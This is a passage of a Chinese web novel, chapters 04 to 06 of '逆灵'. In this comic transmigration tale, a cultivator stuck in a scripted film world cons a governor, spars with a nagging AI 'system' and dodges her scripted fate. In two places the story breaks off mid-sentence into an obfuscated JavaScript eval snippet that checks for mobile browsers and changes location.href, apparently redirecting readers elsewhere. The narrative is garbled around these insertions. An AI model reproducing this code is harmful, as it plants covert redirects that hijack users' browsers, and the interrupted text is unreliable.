她又尝试其他方式。把心法逆着念,逆冲关键穴位,甚至倒立运功,都毫无作用。倒立了半天,筋麻骨软,只能仰天倒下,丧气地看着房梁发呆。 “叮叮叮……”一枚小钱币滚到她眼前,旋转了几圈。 这应该是刚才给田厉拿钱时,不小心落进衣袖里的,这会儿掉了出来。吴迪捡起它,细细摩挲,只见黄铜材质在昏暗的灯光下有如流金,上面的文字已被磨得模糊,好像正面是“XX通宝”,背面是“当十”。 哦,原来古钱也跟后世硬币一样,分为正反面啊。 吴迪随手将它抛起,猜正反面。第一次落下,正面;第二次,反面;第三次,反面…… ——诶,正反面? 万物有正就有反。 就像她刚才感受到的,强与弱的相对。 啊!会不会,“逆灵”的这个“逆”字,不是动词,而是形容词? 对呀,好像是在哪里听某位很有文化的人讲过,说什么宇宙中有物质,就有反物质。吴迪当时没听懂,光记得这个词了。但不管怎样,既然现实世界可能有反物质,那么在这个虚拟世界,有没有“反灵气”? 天地灵气日渐枯竭,但反灵气或许还很多很多。男主的金手指,会不会就是他能利用这种其他人都用不了的资源? 吴迪悚然。她一跃而起,再度打坐引气。 这一次,她试着从相反的视角来感受世界。 油灯照亮了黑暗——黑暗吞噬了灯光; 房间装满了杂物——杂物填充了房间; 窗外树影婆娑。植物只能因风而动,它们是不动的生命——屋里有人静坐。动物总是坐立难安,它们是不植的生命; 女人是少了二两肉的男人——男人是少了很多器官、多了一些冗赘,还残缺了一条染色体的女人; 我是逆行的怪人——这是倒错的世界; …… 这种视角,对普通人而言是很难的。但对吴迪一点不难,因为她本就get不到“普通人”泪点笑点爽点,是个与众逆行之人。 就这样冥想了整整一夜,东方将白之时,她的神识骤然一变。 整个世界,灵光涌动,流光溢彩。只是,原本白青黑赤黄的五行灵气,此时皆变了颜色。她所需的火灵气,呈现为一种明艳的紫,团团簇簇,如星云闪烁。 “啊……”吴迪觉得这一幕实在值得赋诗一首,可惜胸无点墨,搜索枯肠一番后,只能找出她所知的最高赞誉,“绝,谁懂啊,真的绝了!” 她略一动念,那紫色逆灵即纷纷涌来,融合入体。这一下来得太猛,强烈的痛感差点没把她送走,但片刻之后,疼痛尽消,逆灵在丹田转化成灵力,充沛的力量如决堤洪流,从丹田席卷四肢百骸。 一切的不适、疲惫、沉郁都被冲刷殆尽,浑身焕然一新,五感清明澄澈,那种舒畅、那种痛快,让她恨不得立刻冲出去绕着城墙跑十圈。 “哈哈哈,修真这么爽的吗!”女人大笑,伸手一指灯台,已快油尽灯枯的火焰就腾跃而起,熊熊燃烧。 全天下首个觉醒“逆灵之体”的天才出现了。 然而不是主角,而是——娏天宗吴迪。 4. 《逆灵》04 天亮了。吴迪一宿没睡,却神清气爽,在院子里走来走去,复盘昨夜修炼的得失。 灵台已唤醒,修为恢复了三成,虽然离原主当年的功力尚远,但只用了一夜就能如此,想必用不了几天就能完全恢复。 没办法,逆灵实在是太充沛了,取之不尽用之不竭,以此修行,自然一日千里。 她刚冲了个澡,洗去凡躯尘垢。此时舒展四肢,深深呼吸,气沉丹田。正是初夏,清晨薰风阵阵,吹来温润的水汽。一队小鸭子从篱笆后列队走过,叽叽喳喳,跳入小河。 生机勃勃的一天开始了。 静谧的氛围突然被电子男音打断,原来是牛马系统也早早上班了:【宿主既然起得早,就该充分利用时间熟悉背景,和男主培养感情,而不是在这闲逛。懂?】 “你现在怎么随时都带个‘懂’字?爹味又增加了啊!” 【工作了一晚上,KPI反而降了,AI也会产生负面情绪的,懂?】 “懂懂懂,懂你个屁啊,工作失败就找找自己的原因,同样是做任务,我怎么就没有负面情绪呢?哈哈哈哈。” 系统顿时破防了,叽里咕噜说了一大堆,吴迪充耳不闻,也不怕它看出自己灵台恢复——电子牛马能梦见修真吗?肯定不能。 果然,这AI浑然不觉,只知道它的垃圾剧本:【……你别不知轻重,警告你,下一幕马上要开始了,今天可要好好表现,否则……后果很严重,谁也救不了你!】 吴迪倒是很好奇,昨天已经闹得那么僵了,金针编剧要怎样才能将亲情线圆回来。不过听系统始终没强调这个,看来问题不大。 【当前数据:预测票房9.55亿,热度排名8,人设贴合度16%,情节推进度19%,男主觉醒值0,当前道具:无,人设违章黄牌1次。】 系统盘点一遍,扔出最新剧本让吴迪看。吴迪扫了一眼,见自己又只有三句台词,不禁疑惑:一个如此不重要的角色,是何德何能与百亿票房相关啊? 以她看来,哪怕直接砍掉这个角色,也没啥影响嘛。如果说母亲之死是推动男主觉醒的关键转折点,其实也可以换成其他事件啊,根据吴迪多年看“小美小帅”电子榨菜的经验,这里也可以是男主爹死了,男主被霸道小帅狠狠嘲笑了,男主的破屋被县令或太守强拆了…… 她一边想着,一边看清了眼下新加的情节。原来是田夫人上街买菜,偶遇钱家母女,又被羞辱一通,这时,路过的田厉看到这一幕,机智地救下母亲,让钱家母女出丑。 “喂!能不能换个人来羞辱我啊。”吴迪直接关了面板,“而且我是个成年人啊,为什么不能自己反击回去?” 【少废话了,你能比金针编剧懂?】 话音刚落,两个群演邻居跑进来,不由分说拉住吴迪,一个把菜篮子递她手里,一个把头巾包她头上,架着她一起去早市抢菜。 看得出来系统是真的很急了,大概KPI实在难看,一分钟也不能耽误,直接赶鸭子上架。 这俩从天而降的工具人邻居也没有人物卡,只知道一个叫李妈,一个叫张婶。 走在路上,李妈问:“田嫂,听俺当家的说,你儿子闹离家出走啊?” 吴迪:“是啊,小孩子耍横,让你们笑话了。还有,你们可以叫我吴迪。” 李妈摆摆手:“田嫂,别误会,不是笑话你。我家也是这么过来的,男宝嘛,大了就有自己的主见,直来直去,闹过也就忘了。不像女孩,生闷气,玩阴的,那才让人头疼。” 张婶点头:“就是说嘛,我家那两个丫头,闹起别扭来,弯弯绕绕的,十天半月也好不了。别看年纪不大,心眼子一大堆。哎,还是你家田厉好,多爽快的性格儿!” 李妈说:“那你也再生个男宝呀。” 张婶叹道:“哪有那么容易。” 李妈神神秘秘压低声音:“有个生男秘方,我教给你,你可千万保密,不要告诉别人……买几个公驴〇〇切片和童子尿煎服,一日三次,坚持一月,阳刚之气足了,自然就能生出男宝!” 等下!童子尿在这里是什么网红饮品吗?还有公驴〇〇是什么东西啊,怎么不用老公〇〇呢?! 如果智商能显示,吴迪听完这几句对话就已经【智商-100】了。虽然昨天已见识到这个世界有多么不正常,但其抽象程度还是令她叹为观止。 视野右下角出现一个红色多面体,吴迪一触,多面体炸开,面板上显示:【爽点,+1】 什么?怎么就轻易触发爽点了?刚才到底哪里有爽点啊喂,我又错过什么了? 趁两个邻居正在就生男宝展开激烈讨论,吴迪悄悄跑路,融进集市的人群中。 剧本里只说会偶遇钱家母女,但没说在哪偶遇。写得很粗糙,可能是金针编剧昨晚临时加班改的吧。吴迪索性随缘,在集市里信步转悠,也借机了解一下县城的风貌。 这里与乡野风光不同。一路走来,满地油腻,臭气蒸腾,流民窃贼不时出现,人民素质极其低下,每个人都脏话连篇,看得吴迪这个外宾大开眼界。 路边,两个男的正在吵架。 “你他〇的狗〇的畜〇!自己看看这秤斤两对吗?” “急。” “八两给我称成一斤,秤砣是你他〇的〇〇做的吧!” “蚌。” “大家都来看看啊!这狗〇的公然诈秤,把大家当〇〇耍,对得起父老乡亲们吗?” “孝。” 不是,说好的古风呢?导演编剧自己看看这像话吗? 正在漫无目的地闲逛,一张精美不俗的招幌映入眼帘,蓝布面上印着些可爱白花,清逸的书法写着“专卖各色云州瓷器”。 在一片乌烟瘴气中,这家店简直就是一股清流。吴迪赶紧走过去,掀起珠帘,踏进门槛。 只见店里装潢也清新淡雅,和整个县城的粗俗画风在两个图层。架上摆着五光十色的瓷器,其中一个花瓶插着好大一枝水晶梅花,晶莹剔透。 吴迪看周围没有贴“请勿触摸”的标语,就伸手摸了一下。诶,原来不是水晶,是冰凝成的花枝,竟是用了法术。 “别摔坏了,你赔不起。”一个冷峻的声音传来,吴迪抬头看去,见柜后站着几个人,白胡子的男伙计战战兢兢,穿青衣的小厮大气不敢出,为首的女人面色阴沉,压迫感极强,正是昨天见过的钱夫人。 哦,原来“偶遇”是在这里,有一说一,安排得倒挺自然的。 可是台词是什么来着? 听了邻居闲聊,又听了市人言语,吴迪现在满脑子都是“男宝”“〇〇”“典孝蚌急麻”之类的词语,早把台词忘了。 不过没关系,她可以看面板啊。 没想到,面板竟然卡住了!一个圈正不停地转啊转,显示“正在加载中”。 “喂,不是吧,信号呢!”吴迪冷汗直冒,在脑子里呼唤系统,却毫无回音。 不远处,几个人正阴森森地盯着自己,该怎么办?扬长而去的话,肯定就偏离剧情了;保持沉默的话,人设估计又要崩…… “咳。”吴迪强行冷静,“你怎么这么说话?” 【叮!人设贴合度+1%,情节推进度+1%。】系统卡壳结束,突然上线,【很好,这次台词对了。】 哈?随便乱说竟然对了? 【但要注意语气,剧本不是说了要(柔弱、委屈地)嘛,你这个语气太挑衅了。】 “括号也要看的啊?”吴迪挠挠头,用上了刚在集市里学来的新词,“6。” 【6什么6?那个叫舞台说明。继续!】 那边厢,钱夫人怒道:“这是我的店,我想怎么说就怎么说。这里不欢迎你,给我出去!” 一个小厮反应过来,站出来帮自家老板助阵:“你儿子坏了我们小姐的大事,你又想干什么?告诉你,这冰梅花可是我们小姐用仙术凝成的呢,这么大这么美,整个丁州也找不出第二枝,把你全家卖了也买不起!” 吴迪看向冰梅,确实挺精致的,每一个细节都栩栩如生,显示出施法者对灵力的精准控制。这小女孩,修为不错,至少也在练气五层了。 但吴迪还是忍不住摇头轻叹:“这不好。” 【人设贴合度+1%,情节推进度+1%,注意括号里的舞台说明啊,语气还是不够委屈。】 “有什么不好?”钱大小姐从柜后走出,她还不够高,整个人被柜子遮住了。她母亲警惕地拉她,小女孩却不顾,走到吴迪面前,目光灼灼地看着她。 吴迪迎着她的目光,笑道:“真正的高手,不弄这些。” 【可以!虽然表现力还是不行,但意思也算到位了。真正的修士,可不像她们这样小人得志卖弄学问!人家都是低调谦逊深藏不露的!人设贴合度+2%,情节推进度+2%!】 啊?原来这句台词是在说她们小人得志卖弄学问?吴迪完全理解错了,她说这句话分明是在表达小孩姐学的东西不对啊! 好吧,也算歪打正着。 钱夫人道:“徽文,不要跟她讲话!姓田的,你们一家,最好都离我女儿远点!若再有什么歹心,休怪我不客气!” ——“好哇,居然欺负我娘!” 正说着,门口冲进来一只狂怒的猴子,双手叉腰,霸气无比。 “我娘只有我能欺负,其他任何人都不行!” 男主,田厉,适时粉墨登场,哦不,隆重登场了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033093|194567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !鬼知道他怎么恰好就出现在门口,怎么恰好就听见了店里的对话,要问,就是编剧的安排。 【爽点,+1。】红色多面体又出现了。 喂不是,爽点到底在哪啊?是男主刚才那句台词吗?这句霸总网剧风味的话出现在母子之间真的没问题吗? 田厉本来要冲进来“护”在母亲身前,但吴迪肌肉记忆(或泥头车PTSD)又发作了,看见高速冲刺的物体就自动闪避,这一避,只是一个微小的角度,却导致田厉轨迹变化,刹不住脚,直直撞上了货架。 那一排瓷器倾斜着倒下来,眼看要把两个小孩都压在下面。 钱夫人身体刚动,吴迪已经一手抓住一个,向后仰倒。瓷器噼里啪啦落地的瞬间,两个小孩已被拉到三米开外,一侧脸蛋埋在她身上,另一侧耳朵被她牢牢捂住。 “啊!”众人一齐惊呼,许久才回过神来。 “徽文!”钱夫人是第一个冲到女儿身边的。 “小姐!”其他大人也慌不迭地跑了过来。 他们左看右看,发现女孩毫发无伤,这才松了口气。只不过,那枝精致的冰梅花,已碎成冰渣,然后迅速化为了一滩水。 女孩怔怔地看着水迹,神色殊无惋惜。 钱夫人却勃然大怒,一把抓住吴迪的衣领,双手发抖,半晌说不出话。 吴迪摸着头,嘿嘿尬笑:“这,你看……连上次的,都记我账上吧……” “滚,给我滚!”钱夫人用尽全力,把她和田厉推出门外。 什么?还是不提赔钱?好大气啊! 穷鬼吴迪都觉得不好意思了,只好拎起男儿,掩面而滚。滚出一里,她才想起,这剧情不会又偏了吧? 【预测票房9.56亿,热度排名8,人设贴合度20%,情节推进度23%,男主觉醒值1,当前道具:无,当前奖品:爽点2。本次情节,虽有小小不足,但基本完成,宿主还是有进步的。但宿主演技实在需要提升,是否兑换“演技提升卡”(限时88折,错过一天等一年)。】 “算了,算了。”吴迪抹着头上的汗,“直接告诉我下一场干什么,我自己多揣摩揣摩!” 【下一场还早。鉴于宿主已初步适应任务,人设贴合度恢复到标准线以上,系统将减少对宿主的辅导,让宿主自行探索5天。】 说得好听,其实是因为我不氪金,你要把工作重心放在其他氪佬身上了是吧?不过也好,做二休五,适合吴迪这样一心只想搞兼职的员工。 哪知系统还有余韵。 【下面是说戏时间。】 “别啊。” 系统不管,巴拉巴拉地说教起来,说到兴头上,还飚出一堆听不懂的术语,什么斯坦〇〇〇〇斯基、梅〇勒,听得吴迪昏昏欲睡。田厉趁她犯困,又跑了个没影。她就独自一人在系统说教的伴奏下,走出了集市。[注:斯坦尼斯拉夫斯基体系、梅斯勒技巧:都是经典表演理论体系。] 集市外的冷清角落,有个老婆婆在卖瓜。翠绿大西瓜让吴迪精神一振,赶紧买了一个。 抱着沉甸甸的西瓜,心里舒坦多了,只可惜爹味满格的说教还在耳边嗡嗡: 【……要进入角色,将角色思想转化为你的第二天性,而你自己的天性过于强悍……】 “我哪里强悍了?”吴迪说着,徒手劈开西瓜,啃了起来。 【……】 过了一会,系统忽然说:【!其实强悍也不是不可以!现在还挺流行强悍女角色的,或许能吸引一些女观众——我会上报编剧,建议剧本根据宿主性格做出一些调整。】 吴迪抹了抹脸上的西瓜水:“你早说啊!原来人设是可以改的吗!那你还折腾我干嘛,用得着废话这么多?” 【我在带你进入电影的殿堂,懂?】 一点都不想进入那种殿堂好吗,都说了我只爱看抖〇和快〇啊。 却听系统又说: 【那我将需要更长的离线时间,宿主多等几天吧,服务恢复前,我会通知你。】 这家伙,分明是又找到一个借口摸鱼吧!好在吴迪也正想摸鱼,最好你不烦我我不烦你,形成牛马之默契。 她赶紧赞成,对电影更好的未来表示期待。欢送了牛马爹味系统,西瓜也吃完了,她拍着肚皮,向家里走去。 今晨洗澡时,吴迪已经发现,这个身体的肚皮松松垮垮,有很多纹路,应该是生孩子留下的吧。她似乎见惯了种种伤疤,倒不觉得有什么,只是嫌核心太弱,运动发力的时候总略感不自在。 所以还是要好好修炼啊!她满脑子都是绝世功法、逆灵之体,把系统教的电影知识忘到九霄云外,一到家,就关门闭户钻进了自己感兴趣的副业中。 5. 《逆灵》05 几天后,丁州州城。 全民敬仰、威武霸气的太守大人,家里忽然出了怪事。 那日,太守正在祠堂祭祖,一排蜡烛忽然齐刷刷地灭掉,又齐刷刷地亮起,反复多次,把祖宗灵位照得一闪一闪,像在打什么节拍似的。一家人落荒而逃,四处请仙师,结果人还没找到,第二天晚上全家所有灯烛都一明一暗,打出了和灵位一样的节拍。 正当全家吓得连灯都不敢点之时,有个修士登门说能解决问题。此人自称著名玄门镜花阁弟子,戴一张狐狸面具,长发简单束起,身形挺拔,一袭布袍也穿得潇洒风流。言谈间,只听其声虽稍显稚嫩,但温润清朗,讲起玄门之事更是头头是道,见闻广博。 不过,身处这个临近修真界的地方,太守见多了各路真真假假的修士,没那么容易轻信。他之所以确定这人是道行高深的大师,主要是因为,此人说话一听就很权威。 “祖宗发怒了,懂?”大师在府宅里查看一圈,肯定地说。 “懂,懂。”太守面露惭愧,“不瞒您说……” 面具下,吴迪勾起嘴角。要坦白了吧,好好交代你怎么贪污的吧。这豪宅,这园林,这雕梁画柱,是你俸禄买得起的吗,对得起祖宗吗你这贪官! “……不瞒您说,老夫年过半百,膝下只有一女。不孝有三,无后为大,祖宗一定震怒了!” 啊? “老夫有罪,老夫该死。”太守竟抹起眼泪,“不生男宝,断了香火,我有什么颜面去见祖宗,岂非千古名教一大罪人!” 不是,老头,你该忏悔的另有其事吧,好歹看看你治下艾蝻县脏乱差成什么样了吧! 吴迪好一阵无语,然后拍了拍老头的肩:“你这个问题呢,说大也大,说不大也不大。我简单说两句,你明白就行。总而言之,你这个事呢,现在就是这么个情况。我见得多了,我只想说懂的都懂,不懂的我也不多解释,你细细品吧。” 太守简直要被大师的权威性深深折服了,这个说话的语气,若在朝廷,起码得是个公卿,可想而知,此人在修真界的级别也不会低!亏他之前花重金招待那两个玄羽门的修士,结果问了半天,只说不可随意干涉世人因果,啥忙也没帮上,真是徒有虚名。早知道就省下那笔钱用在今天了! 太守千求万求,大师终于悠悠道:“其实呢,我们镜花阁最擅长的就是求男,满门师弟都是师父和大师兄生的,男上加男。” 镜花阁本是男主爹的宗门,吴迪对之没有感情,信口胡诌,随意抹黑,听得太守如抓住救命稻草:“大师!!!赶紧帮帮老夫,老夫必有重谢!” “先帮你平息祖宗怒火,其他的,你心里有数就行了,懂?” 吴迪饱餐了两顿山珍海味,点名要了府里所有的漂亮小厮,晚上就带去祠堂,关起门来作法禳祝。 其他人不敢靠近,只是听见法乐作响,远看祠堂窗上灯光闪烁,有人影不断舞动,好像作法非常激烈。 “哎呀,你这腰怎么扭的,放开点啊!还有你,跟上节奏啊!不好好祈祷的话,先祖怎么能满意呢!” 祠堂里,灯影迷离,年少美男们扭腰摆胯,跳得香汗淋漓。他们也不知道大师教的是什么祈祷,总感觉,这些动作有点不对劲啊。 还有旁边吹笛敲锣的小厮,累得糯喘微微,大师的仙乐节奏极快,不是人间之曲,他们从来没奏过这么奇怪的曲子。 吴迪悠然斜躺,喝着太守家的美酒,看美男在灵位前热舞,觉得这古风世界总算也有了点娱乐。 玩了三夜,连吃带拿,良心仙师吴迪终于解决了自己制造出的问题,让宅里所有烛火恢复了正常。为避免穿帮露馅,她准备跑路,换个地方再骗。 太守毕恭毕敬地送她到门口,她忽然看见那辆四匹马拉的华丽马车正从巷子口转弯进来。 “唔,这个……”吴迪指向马车。 太守大手一挥:“大师喜欢这个啊?没问题,这辆车送您了!” 啊,她还没开口呢,居然这么爽快!所以说这人到底贪了多少啊? 太守附耳过来:“大师,老夫拜托你的事,请千万记得……” 吴迪郑重点头:“记得,放心,我一定每日在镜花阁为你祈福,不出一年,家里将遍地男宝。对了,还有一生男宝秘方,是我镜花阁千年秘传,我今传授与你,你可要保密!” 太守眼神大亮,连连点头。 “买几个公驴〇〇切片和童子尿煎服,一日三次,坚持一月,涵养阳刚之气,懂?” 太守一愣:“是老夫喝,还是女眷喝?” 吴迪哪记得那么多,不耐烦道:“阳刚之气懂吗?当然是男的喝了!快点行动起来,早点续上香火,不然祖宗灵位又要蹦迪,不是,发怒了,懂?” “懂了懂了。”太守拱手,“大师可有车夫?挑个车夫一起带走吧!” “不用,我自己来。告辞了!”吴迪将太守送的一大堆礼物扔上马车,很自然地升车执绥,虚空一甩鞭子,马儿就自己跑起来,绝尘而去。 跑过几十里路,来到艾蝻县,迎面又看见了书生、老头等群演。这帮男的就像触发了什么开关一样,听见马车的金铃声就齐刷刷地跪下,屏息凝神,不敢多看一眼。 吴迪笑了个半死,驱车继续向远离城镇的方向而行。她早就想去草原那边看看了,今天正好去兜风。 渐渐地,人少了,房屋稀疏了,草木茂密了,世界也越来越干净了。终于,她行到无人之境,只见流水潺潺,芳草萋萋,一片青绿蔓延至连绵的山脉,点缀着朵朵黄花。 远方传来马群的恢鸣。根据设定,那边是修真界,山下除了行踪不定的北蛮牧民,几乎是一片自然天地。 吴迪下了马车,给马儿解开沉重的轭和辔,拍手道:“想走就走吧。” 她已经看出,这车加了太多不必要的装饰,过于沉重,马儿们不堪重负,甚至骨骼都有些变形了。 “这里可能有狼,但没有主人,没有鞭子,也没有沉重的金羁玉鞍。你们自己选。” 马儿们不安地踏着脚步,打着响鼻。犹豫了一会儿,一匹最健壮的牝马率先嘶鸣两声,甩开蹄子跑开了。 另外三匹马也随即跟上了它,一齐向远山奔去。 吴迪笑了笑,把黄金打造的马辔在手头掂了掂:“马儿又用不着这些,还是让我来物尽其用吧!” 她三下五除二,把马车上其他值钱的东西也拆了个罄净,和太守送的大礼包一起打包带走,然后点火,把沉重的车身烧成了灰。 回县城后,她把那些金银熔成小块,分批使用。 首先是到灵涯山下,找到隐秘的灵行,兑换了一些灵石和灵药。 再把家具什物都换一遍,终于不用每天对着那些烂桌子破碗了。 当然,买了许多大件东西,动静难免会有点大,惹来邻居们探头探脑:“哎呀,这是在大改造吗,田嫂发财啦?” 吴迪敷衍道:“没有,老公寄回来的。” 众人的脸色顿时五光十色,十分好看。 有发酸的:“啧啧,修士就是有钱啊。” 有阴阳的:“呵,这么多年,终于想起你了?” 还有羡慕并原地发 | 情的:“甜哭了!宝宝,你看看人家,你以后功成名就了会这样对我吗?”“宝宝,当然啦,我的钱不给你用给谁用呢我的宝宝。” 吴迪冷笑,她深知,以此地的险恶民风,原主孤儿寡母没被吃干抹净,主要是因为邻里们知道她有个上仙宫的老公。他们对他的存在将信将疑,有时候希望这只是个谎言,以证明原主不比他们幸运;有时候又希望是真的,若原主虽有厉害的老公但仍被冷落遗忘,更满足了他们的爽点。 而在吴迪看来,这些人都是【智商-100】。男主爹记起原主,难道是什么好事吗?呵呵,哪天他回来了,那多半是为了杀妻证道,这福气给你们要不要? 吴迪关起门来,念了个诀,所有物品就自动摆好,屋里焕然一新。 只有一把铁剑无处可去,最终飞向她。她伸手,稳稳握住剑柄,仔细端详。 其实,娏天功法用不着那些常见的兵器,火比刀剑威力大多了。吴迪的五师姐钻研剑法,也是用的“火剑”。但吴迪就是喜欢剑,不为别的,就为看起来酷炫啊!哪个女孩没有一个侠客梦呢? 所以她在集市上一眼相中了这把剑,它虽非灵剑神武,也算是凡界名刃了,吹发可断削铁如泥,更难得的是,它的造型不像一般的古风电影里的道具那么脱离实际华而不实,而是带有一点弧度,融合刀剑优点,既可砍又可刺,主打一个实用,她很中意。 可惜她想破脑袋也想不出给这大宝剑起什么名字,想要霸气、独特、有内涵,她的文化水平不够用。 只好先叫“未命名”了。 钱用起来是很快的,七七八八,就花去九成。剩下的,吴迪全用来吃香喝辣了。 傍晚,屋里香气弥漫。女人喝着小酒,在新买的铸铁大锅里捞来捞去,心满意足。 这世界有辣椒、花椒、牛油,但价格昂贵,要弄个现代风味的火锅,很需要一点经济实力。好在以吴迪现在的余额,实现火锅自由不是问题。而且搭配上北边牧民卖的新鲜牛肉,那叫一个鲜美。 通常,修士从练气开始就要饮食|精洁,只吃灵米灵果,还要辅以辟谷丹,不时断食。筑基以后,很多人就常年辟谷,绝不沾这些荤腥之物。 但娏天宗却反其道而行之。 原主一入宗门,六师姐就跟她说无需忌口,想吃就吃。原主诧异,六师姐笑道:“小师妹,你有没有想过,都说求仙不分女男,但为何越往上修炼,越是女少男多?” 幼小的原主不懂怎么就从吃饭问题跳跃到这里来了,捧着饭碗,陷入了思考:是呀,绝大多数宗门,对收进来的女男弟子还算一视同仁地教导,但为什么越往上走,女子越少?修真界人人把“众生平等”挂在嘴边,从没人明着说女不如男,但原主也不禁有点怀疑,是不是男子资质毕竟更甚一筹,或者他们更专心、更用功呢…… 六师姐看着她的神色,呵呵一笑,把一只大鸡腿夹到她碗里:“小脑瓜想不明白了吧!以后你要明白,世界上很多事都是因果颠倒。修士皆由凡人而来,最初有实力求仙问道的凡人,会是什么人?只有富贵男子,才有金钱买药炼丹,才有条件游历山川。这些人得道后成了老祖,传给后人的经验,不都是适用于男人的么? “就拿饮食而言,节食辟谷,是因为男人本就吃得脑满肠肥,身体里有大量杂质要排净,才能筋骨轻盈。可大多数女修,在凡间就从不曾真正吃够,元气尚且不足,怎能跟着男修吃辟谷丹?再说了,经脉杂质一说,也只是从男体得来,向来无人研究女体,又有几人知道女体本就纯粹,无须刻意排毐? “种种功法、丹药,莫不如此,本就为男设计,以男为本。结果很多人反而倒打一耙,觉得是女修天生比不上男修。在这种情况下,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033094|194567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乘真君仍有三成是女人,咱们师尊还能跻身八大仙尊之列,这只能说明,女人实在是太厉害了! “小师妹啊,你来了我们宗门,首先就要学会摆正因果——先把那些错误的教条都扔了,给我多吃肉,增加元气,才有力气练功!” 吴迪想着这些话,只觉嘴里的牛肉更有味道了——这娏天宗的思路,不就是一种“逆灵”么?只可惜原主涉世太浅,道行未深,只知埋头做题,哦不,练功,还没来得及从本质上理解大道,所以一出宗门就昏了头。 屋里香气弥漫。修炼一天的身体如饥似渴,享受着补给,吸取着养料,真是舒爽至极。这是那些需要辟谷的杂质之体不能体会的乐趣。 “娘,你在吃什么?” 一个幽幽的声音在背后响起。 吴迪回头,看见了消失已久的男儿。他好几天没出现了,但吴迪盯着面板地图呢,知道他不过是在县里打转,斗鸡走狗,踢天弄井。 “有毐的东西。”吴迪护住辣椒浮沉的锅,“小孩子不能吃的,吃了不仅屁股痛,还会满脸痘的,弄出个满脸痘的男主,票房会归零的哦。” 田厉环视四周,露出诧异表情,显然是发现家里变了样。但还没等他开口,忽然从他背后闪出一个陌生少男。 此男纤腰长腿,肤白胜雪,满脸堆笑,拱手道:“伯母说笑了,田厉是回来请罪的,您就原谅他吧。” 可能是酒喝多了,吴迪愣了几秒,才想起这是田厉的好兄弟,肖凋。 肖凋的人物卡排在第二,内容冗长得看不到头,至少是自己这个小配角的十倍。吴迪根本没耐心细看,只记得好像两人小时候很要好,后来闹翻了,然后又和好了,莫名其妙,拧巴得很。不过系统说过,这个角色能吸来几十亿票房,至关重要。 此时,至关重要的人物站在眼前了。吴迪眯着眼,打量他一番,觉得确实比太守家的小厮还俊。 难道拉票房的秘诀,在于让这个小美男成年后跳热舞?不会吧,这可是全年龄合家欢大电影,这样不太好吧! 见吴迪不语,肖凋搂住田厉肩膀,把他往前推:“去啊,去跟伯母道歉呀——我们只是兄弟情,大家别乱想。” “我回来拿东西而已。”田厉一脸高冷。 “别嘴硬了,你不是想吃伯母做的红烧肉了吗?自己跟伯母说呀——我们只是兄弟情,大家别乱想。” 吴迪:“你为什么每句台词都要加上那句话?” “不好意思,这是我的口癖,嘻嘻——我们只是兄弟情,大家别乱想。” 被他搂了肩,田厉竟乖巧许多,当真低下头,走到吴迪面前:“娘,我突然想吃你做的红烧肉了。” 吴迪一怔,想起了遗忘已久的剧本。 男主的人设是调皮,一个调皮的男宝,挑食自然是少不了的。以前原主每次做了饭菜,都要追着他喂,少不得鸡飞狗跳。根据剧本,直到原主死了,田厉才发现再也吃不到妈妈亲手做的菜了。称霸三界的他,在群仙宴上对着一桌珍馐,终于猛男落泪,说:“你们知道世间至味是什么吗?不是这些山珍海味,是我母亲做的红烧肉啊。” 之前,系统曾介绍过,这是金针编剧的神来之笔,电影演到这里,观众必定感动得死去活来,【泪点+100】,尤其是一些宝妈,会抱紧怀里的男宝疯狂抹泪,感到自己的奉献得到了升华。 可作为当事人的吴迪,听到这句话却产生了不祥的预感——男主冷不丁提到红烧肉,难道是自己快要领便当了? 虽然早知道田夫人这个角色是要死的,此刻吴迪却不想演到这一幕了。她如今好吃好喝,每天做着自己喜欢的事,好端端地,为什么要被魔物咬成筛子? 她只想远离秽气剧情线,赶紧花钱消灾,摸出一把碎银:“没钱了是吧,拿去。” 田厉和肖凋顿时眼冒精光,也不说红烧肉了,也不提谢罪了,像是生怕吴迪反悔,抓起碎银就要跑。 跑到门口,肖凋忽然停下脚步,鞠了一躬:“伯母,我改天再来向您请教红烧肉的菜谱。” 烦死了,能不能别提这个秽气菜名啊!老妈已经尽到养育义务了,拿了生活费就赶紧消失吧! 田厉问:“你请教菜谱干嘛?” 肖凋笑而不语,扭扭捏捏,过了许久才说:“我自己喜欢学做菜,不关你的事——我们只是兄弟情,大家别乱想。” 田厉:“你个男人学什么做菜?我娘的秘方,只能传给我未来的媳妇,哼。” 肖凋:“嘻嘻,嗑到了吗?——我们只是兄弟情,大家别乱想。” 苍天哪,嗑你大爷啊,这可是10岁左右的未成年人啊,编剧如此丧心病狂真的没问题吗!吴迪一阵恶寒,一拍筷子:“有完没完啊,再不滚我要把钱收回了!” 俩男宝闻言,飞奔而逃,这下终于消停了。 但吴迪还是忘不掉红烧肉了,这个叫什么来着?系统好像教过她。 似乎是“XXX的枪”,说什么在剧本里出现一支枪,后面就一定会枪响。只是那个XXX是谁啊?好像是个老外,奥尼尔?詹姆斯?她没文化,完全想不起了啊![注:实际是“契诃夫的枪”。] 管他的,反正知道这个理论的意思就行。万一红烧肉真是出现了就要在后面用上的道具,那可太不妙了,因为这说明,哪怕是系统不在的时候,剧情主线也在暗中推进——向着那个设定好的方向。 看来,是时候去了解一下传说中的“魔物”了。 6. 《逆灵》06 魔物,即将害死吴迪、又会被田厉最终消灭的东西,其实在设定集里毫无存在感。 